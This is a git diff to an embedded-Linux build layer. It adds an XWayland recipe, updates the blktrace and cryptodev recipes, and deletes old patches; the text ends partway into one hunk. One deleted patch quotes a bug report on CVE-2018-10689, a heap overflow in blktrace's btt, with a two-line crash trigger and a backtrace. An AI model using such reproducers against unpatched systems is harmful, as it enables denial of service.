index 0000000000..b934a873d1
--- /dev/null
+++ b/meta/recipes-graphics/xwayland/xwayland_23.2.5.bb
@@ -0,0 +1,45 @@
+SUMMARY = "XWayland is an X Server that runs under Wayland."
+DESCRIPTION = "XWayland is an X Server running as a Wayland client, \
+and thus is capable of displaying native X11 client applications in a \
+Wayland compositor environment. The goal of XWayland is to facilitate \
+the transition from X Window System to Wayland environments, providing \
+a way to run unported applications in the meantime."
+HOMEPAGE = "https://fedoraproject.org/wiki/Changes/XwaylandStandalone"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5df87950af51ac2c5822094553ea1880"
+
+SRC_URI = "https://www.x.org/archive/individual/xserver/xwayland-${PV}.tar.xz"
+SRC_URI[sha256sum] = "33ec7ff2687a59faaa52b9b09aa8caf118e7ecb6aed8953f526a625ff9f4bd90"
+
+UPSTREAM_CHECK_REGEX = "xwayland-(?P<pver>\d+(\.(?!90\d)\d+)+)\.tar"
+
+inherit meson features_check pkgconfig
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+DEPENDS += "xorgproto xtrans pixman libxkbfile libxfont2 wayland wayland-native wayland-protocols libdrm libepoxy libxcvt"
+
+OPENGL_PKGCONFIGS = "glx glamor dri3"
+PACKAGECONFIG ??= "${XORG_CRYPTO} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', '${OPENGL_PKGCONFIGS}', '', d)} \
+"
+PACKAGECONFIG[dri3] = "-Ddri3=true,-Ddri3=false,libxshmfence"
+PACKAGECONFIG[glx] = "-Dglx=true,-Dglx=false,virtual/libgl virtual/libx11"
+PACKAGECONFIG[glamor] = "-Dglamor=true,-Dglamor=false,libepoxy virtual/libgbm,libegl"
+PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[xinerama] = "-Dxinerama=true,-Dxinerama=false"
+
+# Xorg requires a SHA1 implementation, pick one
+XORG_CRYPTO ??= "openssl"
+PACKAGECONFIG[openssl] = "-Dsha1=libcrypto,,openssl"
+PACKAGECONFIG[nettle] = "-Dsha1=libnettle,,nettle"
+PACKAGECONFIG[gcrypt] = "-Dsha1=libgcrypt,,libgcrypt"
+
+do_install:append() {
+ # remove files not needed and clashing with xserver-xorg
+ rm -rf ${D}/${libdir}/xorg/
+}
+
+FILES:${PN} += "${libdir}/xorg/protocol.txt"
+
+RDEPENDS:${PN} += "xkbcomp"
diff --git a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch b/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
deleted file mode 100644
index 7b58568d59..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch
+++ /dev/null
@@ -1,150 +0,0 @@
-From d61ff409cb4dda31386373d706ea0cfb1aaac5b7 Mon Sep 17 00:00:00 2001
-From: Jens Axboe <axboe@kernel.dk>
-Date: Wed, 2 May 2018 10:24:17 -0600
-Subject: [PATCH] btt: make device/devno use PATH_MAX to avoid overflow
-
-Herbo Zhang reports:
-
-I found a bug in blktrace/btt/devmap.c. The code is just as follows:
-
-https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/tree/btt/devmap.c?id=8349ad2f2d19422a6241f94ea84d696b21de4757
-
- struct devmap {
-
-struct list_head head;
-char device[32], devno[32]; // #1
-};
-
-LIST_HEAD(all_devmaps);
-
-static int dev_map_add(char *line)
-{
-struct devmap *dmp;
-
-if (strstr(line, "Device") != NULL)
-return 1;
-
-dmp = malloc(sizeof(struct devmap));
-if (sscanf(line, "%s %s", dmp->device, dmp->devno) != 2) { //#2
-free(dmp);
-return 1;
-}
-
-list_add_tail(&dmp->head, &all_devmaps);
-return 0;
-}
-
-int dev_map_read(char *fname)
-{
-char line[256]; // #3
-FILE *fp = my_fopen(fname, "r");
-
-if (!fp) {
-perror(fname);
-return 1;
-}
-
-while (fscanf(fp, "%255[a-zA-Z0-9 :.,/_-]\n", line) == 1) {
-if (dev_map_add(line))
-break;
-}
-
-fclose(fp);
-return 0;
-}
-
- The line length is 256, but the dmp->device, dmp->devno max length
-is only 32. We can put strings longer than 32 into dmp->device and
-dmp->devno , and then they will be overflowed.
-
- we can trigger this bug just as follows:
-
- $ python -c "print 'A'*256" > ./test
- $ btt -M ./test
-
- *** Error in btt': free(): invalid next size (fast): 0x000055ad7349b250 ***
- ======= Backtrace: =========
- /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f7f158ce7e5]
- /lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f7f158d6e0a]
- /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7f158da98c]
- btt(+0x32e0)[0x55ad7306f2e0]
- btt(+0x2c5f)[0x55ad7306ec5f]
- btt(+0x251f)[0x55ad7306e51f]
- /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7f15877830]
- btt(+0x26b9)[0x55ad7306e6b9]
- ======= Memory map: ========
- 55ad7306c000-55ad7307f000 r-xp 00000000 08:14 3698139
- /usr/bin/btt
- 55ad7327e000-55ad7327f000 r--p 00012000 08:14 3698139
- /usr/bin/btt
- 55ad7327f000-55ad73280000 rw-p 00013000 08:14 3698139
- /usr/bin/btt
- 55ad73280000-55ad73285000 rw-p 00000000 00:00 0
- 55ad7349a000-55ad734bb000 rw-p 00000000 00:00 0
- [heap]
- 7f7f10000000-7f7f10021000 rw-p 00000000 00:00 0
- 7f7f10021000-7f7f14000000 ---p 00000000 00:00 0
- 7f7f15640000-7f7f15656000 r-xp 00000000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15656000-7f7f15855000 ---p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15855000-7f7f15856000 r--p 00015000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15856000-7f7f15857000 rw-p 00016000 08:14 14942237
- /lib/x86_64-linux-gnu/libgcc_s.so.1
- 7f7f15857000-7f7f15a16000 r-xp 00000000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15a16000-7f7f15c16000 ---p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c16000-7f7f15c1a000 r--p 001bf000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1a000-7f7f15c1c000 rw-p 001c3000 08:14 14948477
- /lib/x86_64-linux-gnu/libc-2.23.so
- 7f7f15c1c000-7f7f15c20000 rw-p 00000000 00:00 0
- 7f7f15c20000-7f7f15c46000 r-xp 00000000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e16000-7f7f15e19000 rw-p 00000000 00:00 0
- 7f7f15e42000-7f7f15e45000 rw-p 00000000 00:00 0
- 7f7f15e45000-7f7f15e46000 r--p 00025000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e46000-7f7f15e47000 rw-p 00026000 08:14 14948478
- /lib/x86_64-linux-gnu/ld-2.23.so
- 7f7f15e47000-7f7f15e48000 rw-p 00000000 00:00 0
- 7ffdebe5c000-7ffdebe7d000 rw-p 00000000 00:00 0
- [stack]
- 7ffdebebc000-7ffdebebe000 r--p 00000000 00:00 0
- [vvar]
- 7ffdebebe000-7ffdebec0000 r-xp 00000000 00:00 0
- [vdso]
- ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0
- [vsyscall]
- [1] 6272 abort btt -M test
-
-Signed-off-by: Jens Axboe <axboe@kernel.dk>
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/linux/kernel/git/axboe/blktrace.git/commit/?id=d61ff409cb4dda31386373d706ea0cfb1aaac5b7]
-
-CVE: CVE-2018-10689
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- btt/devmap.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/btt/devmap.c b/btt/devmap.c
-index 0553a9e..5fc1cb2 100644
---- a/btt/devmap.c
-+++ b/btt/devmap.c
-@@ -23,7 +23,7 @@
-
- struct devmap {
- struct list_head head;
-- char device[32], devno[32];
-+ char device[PATH_MAX], devno[PATH_MAX];
- };
-
- LIST_HEAD(all_devmaps);
---
-2.7.4
-
diff --git a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch b/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
deleted file mode 100644
index ab905cf0da..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/ldflags.patch
+++ /dev/null
@@ -1,114 +0,0 @@
-blktrace: obey LDFLAGS
-
-Upstream-Status: Pending
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
-the patch was imported from meta-mentor layer on yoctoproject git server
-http://git.yoctoproject.org/cgit/cgit.cgi/meta-mentor as of commit id
-aed463414e2e2bf8ca44ba54ee5973e7ed599e57
-
-Signed-off-by: Fahad Usman <fahad_usman@mentor.com>
-
-Index: git/Makefile
-===================================================================
---- git.orig/Makefile
-+++ git/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- PROGS = blkparse blktrace verify_blkparse blkrawverify blkiomon
- LIBS = -lpthread
-@@ -26,19 +27,19 @@ btreplay/btreplay:
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- blkparse: blkparse.o blkparse_fmt.o rbtree.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blktrace: blktrace.o act_mask.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- verify_blkparse: verify_blkparse.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkrawverify: blkrawverify.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- blkiomon: blkiomon.o rbtree.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) -lrt $(LDFLAGS)
-
- $(PROGS): | depend
-
-Index: git/btreplay/Makefile
-===================================================================
---- git.orig/btreplay/Makefile
-+++ git/btreplay/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I.. -I../btt
- OCFLAGS = -UCOUNT_IOS -UDEBUG -DNDEBUG
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-@@ -32,10 +33,10 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btrecord: btrecord.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LDFLAGS)
-
- btreplay: btreplay.o
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- depend:
- @$(CC) -MM $(CFLAGS) *.c 1> .depend
-Index: git/btt/Makefile
-===================================================================
---- git.orig/btt/Makefile
-+++ git/btt/Makefile
-@@ -7,6 +7,7 @@
-
- CC = gcc
- CFLAGS = -Wall -W -O2 -g
-+LDFLAGS =
- INCS = -I. -I..
- XCFLAGS = -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
- override CFLAGS += $(INCS) $(XCFLAGS)
-@@ -38,7 +39,7 @@ clean: docsclean
- $(CC) $(CFLAGS) -c -o $*.o $<
-
- btt: $(OBJS)
-- $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS)
-+ $(CC) $(CFLAGS) -o $@ $(filter %.o,$^) $(LIBS) $(LDFLAGS)
-
- ifneq ($(wildcard .depend),)
- include .depend
-Index: git/iowatcher/Makefile
-===================================================================
---- git.orig/iowatcher/Makefile
-+++ git/iowatcher/Makefile
-@@ -1,5 +1,6 @@
- CC = gcc
- CFLAGS = -Wall -O2 -g -W -Wunused-result
-+LDFLAGS =
- ALL_CFLAGS = $(CFLAGS) -D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
-
- PROGS = iowatcher
-@@ -19,7 +20,7 @@ all: $(ALL)
- $(CC) -o $*.o -c $(ALL_CFLAGS) $<
-
- iowatcher: blkparse.o plot.o main.o tracers.o mpstat.o fio.o
-- $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm -lrt
-+ $(CC) $(ALL_CFLAGS) -o $@ $(filter %.o,$^) -lm $(LDFLAGS) -lrt
-
- depend:
- @$(CC) -MM $(ALL_CFLAGS) *.c 1> .depend
diff --git a/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch b/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch
deleted file mode 100644
index 3b0c1c692c..0000000000
--- a/meta/recipes-kernel/blktrace/blktrace/make-btt-scripts-python3-ready.patch
+++ /dev/null
@@ -1,197 +0,0 @@
-From 70d5ca2d5f3d6b97c11c641b7e0c5836983219a0 Mon Sep 17 00:00:00 2001
-From: Eric Sandeen <sandeen@redhat.com>
-Date: Wed, 28 Mar 2018 15:26:36 -0500
-Subject: [oe-core][PATCH 1/1] make btt scripts python3-ready
-
-Many distributions are moving to python3 by default. Here's
-an attempt to make the python scripts in blktrace python3-ready.
-
-Most of this was done with automated tools. I hand fixed some
-space-vs tab issues, and cast an array index to integer. It
-passes rudimentary testing when run under python2.7 as well
-as python3.
-
-This doesn't do anything with the shebangs, it leaves them both
-invoking whatever "env python" coughs up on the system.
-
-Signed-off-by: Eric Sandeen <sandeen@redhat.com>
-Signed-off-by: Jens Axboe <axboe@kernel.dk>
-
-Unchanged except to modify shebangs to use python3 since
-oe-core does not support python2 anymore.
-
-Upstream-Status: Backport [git://git.kernel.dk/blktrace.git commit 70d5ca2d5...]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
----
- btt/bno_plot.py | 28 +++++++++++++++-------------
- btt/btt_plot.py | 22 +++++++++++++---------
- 2 files changed, 28 insertions(+), 22 deletions(-)
-
---- git.orig/btt/bno_plot.py
-+++ git/btt/bno_plot.py
-@@ -1,4 +1,4 @@
--#! /usr/bin/env python
-+#! /usr/bin/env python3
- #
- # btt blkno plotting interface
- #
-@@ -38,6 +38,8 @@ automatically push the keys under the gr
- To exit the plotter, enter 'quit' or ^D at the 'gnuplot> ' prompt.
- """
-
-+from __future__ import absolute_import
-+from __future__ import print_function
- import getopt, glob, os, sys, tempfile
-
- verbose = 0
-@@ -60,14 +62,14 @@ def parse_args(in_args):
-
- try:
- (opts, args) = getopt.getopt(in_args, s_opts, l_opts)
-- except getopt.error, msg:
-- print >>sys.stderr, msg
-- print >>sys.stderr, __doc__
-+ except getopt.error as msg:
-+ print(msg, file=sys.stderr)
-+ print(__doc__, file=sys.stderr)
- sys.exit(1)
-
- for (o, a) in opts:
- if o in ('-h', '--help'):
-- print __doc__
-+ print(__doc__)
- sys.exit(0)
- elif o in ('-v', '--verbose'):
- verbose += 1
-@@ -84,10 +86,10 @@ if __name__ == '__main__':
- (bnos, keys_below) = parse_args(sys.argv[1:])
-
- if verbose:
-- print 'Using files:',
-- for bno in bnos: print bno,
-- if keys_below: print '\nKeys are to be placed below graph'
-- else: print ''
-+ print('Using files:', end=' ')
-+ for bno in bnos: print(bno, end=' ')
-+ if keys_below: print('\nKeys are to be placed below graph')
-+ else: print('')
-
- tmpdir = tempfile.mktemp()
- os.mkdir(tmpdir)
-@@ -99,7 +101,7 @@ if __name__ == '__main__':
- fo = open(t, 'w')
- for line in open(f, 'r'):
- fld = line.split(None)
-- print >>fo, fld[0], fld[1], int(fld[2])-int(fld[1])
-+ print(fld[0], fld[1], int(fld[2])-int(fld[1]), file=fo)
- fo.close()
-
- t = t[t.rfind('/')+1:]
-@@ -107,16 +109,16 @@ if __name__ == '__main__':
- else: plot_cmd = "%s,'%s'" % (plot_cmd, t)
-
- fo = open('%s/plot.cmds' % tmpdir, 'w')
-- print >>fo, cmds
-- if len(bnos) > 10 or keys_below: print >>fo, 'set key below'
-- print >>fo, plot_cmd
-+ print(cmds, file=fo)
-+ if len(bnos) > 10 or keys_below: print('set key below', file=fo)
-+ print(plot_cmd, file=fo)
- fo.close()
-
- pid = os.fork()
- if pid == 0:
- cmd = 'gnuplot %s/plot.cmds -' % tmpdir
-
-- if verbose: print 'Executing %s' % cmd
-+ if verbose: print('Executing %s' % cmd)
-
- os.chdir(tmpdir)
- os.system(cmd)
---- git.orig/btt/btt_plot.py
-+++ git/btt/btt_plot.py
-@@ -1,4 +1,4 @@
--#! /usr/bin/env python
-+#! /usr/bin/env python3
- #
- # btt_plot.py: Generate matplotlib plots for BTT generate data files
- #
-@@ -55,6 +55,10 @@ Arguments:
- but the -o (--output) and -T (--title) options will be ignored.
- """
-
-+from __future__ import absolute_import
-+from __future__ import print_function
-+import six
-+from six.moves import range
- __author__ = 'Alan D. Brunelle <alan.brunelle@hp.com>'
-
- #------------------------------------------------------------------------------
-@@ -82,7 +86,7 @@ get_base = lambda file: file[file.find(
- def fatal(msg):
- """Generate fatal error message and exit"""
-
-- print >>sys.stderr, 'FATAL: %s' % msg
-+ print('FATAL: %s' % msg, file=sys.stderr)
- sys.exit(1)
-
- #------------------------------------------------------------------------------
-@@ -163,7 +167,7 @@ def get_data(files):
- if not os.path.exists(file):
- fatal('%s not found' % file)
- elif verbose:
-- print 'Processing %s' % file
-+ print('Processing %s' % file)
-
- xs = []
- ys = []
-@@ -214,8 +218,8 @@ def parse_args(args):
-
- try:
- (opts, args) = getopt.getopt(args[1:], s_opts, l_opts)
-- except getopt.error, msg:
-- print >>sys.stderr, msg
-+ except getopt.error as msg:
-+ print(msg, file=sys.stderr)
- fatal(__doc__)
-
- for (o, a) in opts:
-@@ -293,15 +297,15 @@ def generate_output(type, db):
- def color(idx, style):
- """Returns a color/symbol type based upon the index passed."""
-
-- colors = [ 'b', 'g', 'r', 'c', 'm', 'y', 'k' ]
-+ colors = [ 'b', 'g', 'r', 'c', 'm', 'y', 'k' ]
- l_styles = [ '-', ':', '--', '-.' ]
- m_styles = [ 'o', '+', '.', ',', 's', 'v', 'x', '<', '>' ]
-
- color = colors[idx % len(colors)]
- if style == 'line':
-- style = l_styles[(idx / len(l_styles)) % len(l_styles)]
-+ style = l_styles[int((idx / len(l_styles)) % len(l_styles))]
- elif style == 'marker':
-- style = m_styles[(idx / len(m_styles)) % len(m_styles)]
-+ style = m_styles[int((idx / len(m_styles)) % len(m_styles))]
-
- return '%s%s' % (color, style)
-
-@@ -314,7 +318,7 @@ def generate_output(type, db):
- ofile = '%s.png' % type
-
- if verbose:
-- print 'Generating plot into %s' % ofile
-+ print('Generating plot into %s' % ofile)
-
- fig = plt.figure(figsize=plot_size)
- ax = fig.add_subplot(111)
-@@ -329,7 +333,7 @@ def generate_output(type, db):
- legends = None
-
- keys = []
-- for file in db.iterkeys():
-+ for file in six.iterkeys(db):
- if not file in ['min_x', 'max_x', 'min_y', 'max_y']:
- keys.append(file)
-
diff --git a/meta/recipes-kernel/blktrace/blktrace_git.bb b/meta/recipes-kernel/blktrace/blktrace_git.bb
index 6903053b5b..d4f5bac84f 100644
--- a/meta/recipes-kernel/blktrace/blktrace_git.bb
+++ b/meta/recipes-kernel/blktrace/blktrace_git.bb
@@ -1,19 +1,20 @@
SUMMARY = "Generates traces of I/O traffic on block devices"
+DESCRIPTION = "blktrace is a block layer IO tracing mechanism which provides \
+detailed information about request queue operations up to user space. There \
+are three major components: a kernel component, a utility to record the i/o \
+trace information for the kernel to user space, and utilities to analyse and \
+view the trace information."
HOMEPAGE = "http://brick.kernel.dk/snaps/"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
DEPENDS = "libaio"
-SRCREV = "cca113f2fe0759b91fd6a0e10fdcda2c28f18a7e"
+SRCREV = "366d30b9cdb20345c5d064af850d686da79b89eb"
-PV = "1.2.0+git${SRCPV}"
+PV = "1.3.0+git"
-SRC_URI = "git://git.kernel.dk/blktrace.git \
- file://ldflags.patch \
- file://CVE-2018-10689.patch \
- file://make-btt-scripts-python3-ready.patch \
-"
+SRC_URI = "git://git.kernel.dk/blktrace.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb
deleted file mode 100644
index c55577c661..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver header file"
-
-do_compile[noexec] = "1"
-
-# Just install cryptodev.h which is the only header file needed to be exported
-do_install() {
- install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
-}
-
-ALLOW_EMPTY_${PN} = "1"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-linux_1.13.bb b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.13.bb
new file mode 100644
index 0000000000..d5ea9d8529
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-linux_1.13.bb
@@ -0,0 +1,13 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver header file"
+
+do_compile[noexec] = "1"
+
+# Just install cryptodev.h which is the only header file needed to be exported
+do_install() {
+ install -D ${S}/crypto/cryptodev.h ${D}${includedir}/crypto/cryptodev.h
+}
+
+ALLOW_EMPTY:${PN} = "1"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb
deleted file mode 100644
index 6474599c45..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A /dev/crypto device driver kernel module"
-
-inherit module
-
-# Header file provided by a separate package
-DEPENDS += "cryptodev-linux"
-
-SRC_URI += " \
-file://0001-Disable-installing-header-file-provided-by-another-p.patch \
-file://0001-Fix-build-for-Linux-5.8-rc1.patch \
-"
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
-
-RCONFLICTS_${PN} = "ocf-linux"
-RREPLACES_${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-module_1.13.bb b/meta/recipes-kernel/cryptodev/cryptodev-module_1.13.bb
new file mode 100644
index 0000000000..5192cf03ed
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-module_1.13.bb
@@ -0,0 +1,16 @@
+require cryptodev.inc
+
+SUMMARY = "A /dev/crypto device driver kernel module"
+
+inherit module
+
+# Header file provided by a separate package
+DEPENDS += "cryptodev-linux"
+
+SRC_URI += "file://0001-Disable-installing-header-file-provided-by-another-p.patch \
+ "
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_KERNEL_DIR}" PREFIX="${D}"'
+
+RCONFLICTS:${PN} = "ocf-linux"
+RREPLACES:${PN} = "ocf-linux"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb
deleted file mode 100644
index 9cb5dcb94f..0000000000
--- a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-require cryptodev.inc
-
-SUMMARY = "A test suite for /dev/crypto device driver"
-
-DEPENDS += "openssl"
-
-SRC_URI += " \
-file://0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch \
-"
-
-EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
-
-do_compile() {
- oe_runmake testprogs
-}
-
-do_install() {
- oe_runmake install_tests
-}
-
-FILES_${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev-tests_1.13.bb b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.13.bb
new file mode 100644
index 0000000000..458ad8ecf2
--- /dev/null
+++ b/meta/recipes-kernel/cryptodev/cryptodev-tests_1.13.bb
@@ -0,0 +1,21 @@
+require cryptodev.inc
+
+SUMMARY = "A test suite for /dev/crypto device driver"
+
+DEPENDS += "openssl"
+
+SRC_URI += " \
+ file://0001-tests-Makefile-do-not-use-Werror.patch \
+ "
+
+EXTRA_OEMAKE='KERNEL_DIR="${STAGING_EXECPREFIXDIR}" PREFIX="${D}"'
+
+do_compile() {
+ oe_runmake tests
+}
+
+do_install() {
+ oe_runmake install_tests
+}
+
+FILES:${PN} = "${bindir}/*"
diff --git a/meta/recipes-kernel/cryptodev/cryptodev.inc b/meta/recipes-kernel/cryptodev/cryptodev.inc
index f99f8bc9f0..64a9c2926b 100644
--- a/meta/recipes-kernel/cryptodev/cryptodev.inc
+++ b/meta/recipes-kernel/cryptodev/cryptodev.inc
@@ -1,11 +1,17 @@
HOMEPAGE = "http://cryptodev-linux.org/"
+DESCRIPTION = "Cryptodev-linux is a device that allows access to Linux kernel \
+cryptographic drivers; thus allowing of userspace applications to take advantage \
+of hardware accelerators. Cryptodev-linux is implemented as a standalone \
+module that requires no dependencies other than a stock linux kernel. Its \
+API is compatible with OpenBSD's cryptodev userspace API (/dev/crypto)."
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux \
+SRC_URI = "git://github.com/cryptodev-linux/cryptodev-linux;branch=master;protocol=https \
"
-SRCREV = "a87053bee5680878c295b7d23cf0d7065576ac2b"
+SRCREV = "bb8bc7cf60d2c0b097c8b3b0e807f805b577a53f"
+PV = "1.13+git${SRCPV}"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/cryptodev/files/0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch b/meta/recipes-kernel/cryptodev/files/0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch
deleted file mode 100644
index 84fd27e681..0000000000
--- a/meta/recipes-kernel/cryptodev/files/0001-Add-the-compile-and-install-rules-for-cryptodev-test.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 1980a8f4779a955e73285e7a0d86549b69bea5c8 Mon Sep 17 00:00:00 2001
-From: Yu Zongchun <b40527@freescale.com>
-Date: Sun, 28 Apr 2013 14:39:22 +0800
-Subject: [PATCH] Add the compile and install rules for cryptodev tests folder
-
-This is required to install the cryptodev tests folder to rootfs
-
-Signed-off-by: Yu Zongchun <b40527@freescale.com>
-
-Upstream-Status: Pending
-
----
- Makefile | 6 ++++++
- tests/Makefile | 8 ++++++++
- 2 files changed, 14 insertions(+), 0 deletions(-)
-
-Index: git/Makefile
-===================================================================
---- git.orig/Makefile
-+++ git/Makefile
-@@ -35,6 +35,9 @@ modules_install:
- $(MAKE) $(KERNEL_MAKE_OPTS) modules_install
- install -m 644 -D crypto/cryptodev.h $(DESTDIR)/$(includedir)/crypto/cryptodev.h
-
-+install_tests:
-+ make -C tests install DESTDIR=$(PREFIX)
-+
- clean:
- $(MAKE) $(KERNEL_MAKE_OPTS) clean
- rm -f $(hostprogs) *~
-@@ -43,6 +46,9 @@ clean:
- check:
- CFLAGS=$(CRYPTODEV_CFLAGS) KERNEL_DIR=$(KERNEL_DIR) $(MAKE) -C tests check
-
-+testprogs:
-+ KERNEL_DIR=$(KERNEL_DIR) make -C tests testprogs
-+
- CPOPTS =
- ifneq ($(SHOW_TYPES),)
- CPOPTS += --show-types
-Index: git/tests/Makefile
-===================================================================
---- git.orig/tests/Makefile
-+++ git/tests/Makefile
-@@ -23,6 +23,12 @@ bindir = $(execprefix)/bin
-
- all: $(hostprogs)
-
-+install:
-+ install -d $(DESTDIR)/usr/bin/tests_cryptodev
-+ for bin in $(hostprogs); do \
-+ install -m 755 $${bin} $(DESTDIR)/usr/bin/tests_cryptodev/; \
-+ done
-+
- check: $(hostprogs)
- ./cipher
- ./hmac
-@@ -38,6 +44,8 @@ install:
- install -m 755 $$prog $(DESTDIR)/$(bindir); \
- done
-
-+testprogs: $(hostprogs)
-+
- clean:
- rm -f *.o *~ $(hostprogs)
-
diff --git a/meta/recipes-kernel/cryptodev/files/0001-Disable-installing-header-file-provided-by-another-p.patch b/meta/recipes-kernel/cryptodev/files/0001-Disable-installing-header-file-provided-by-another-p.patch
index 885b5823e4..c7fdef4da4 100644
--- a/meta/recipes-kernel/cryptodev/files/0001-Disable-installing-header-file-provided-by-another-p.patch
+++ b/meta/recipes-kernel/cryptodev/files/0001-Disable-installing-header-file-provided-by-another-p.patch
@@ -1,4 +1,4 @@
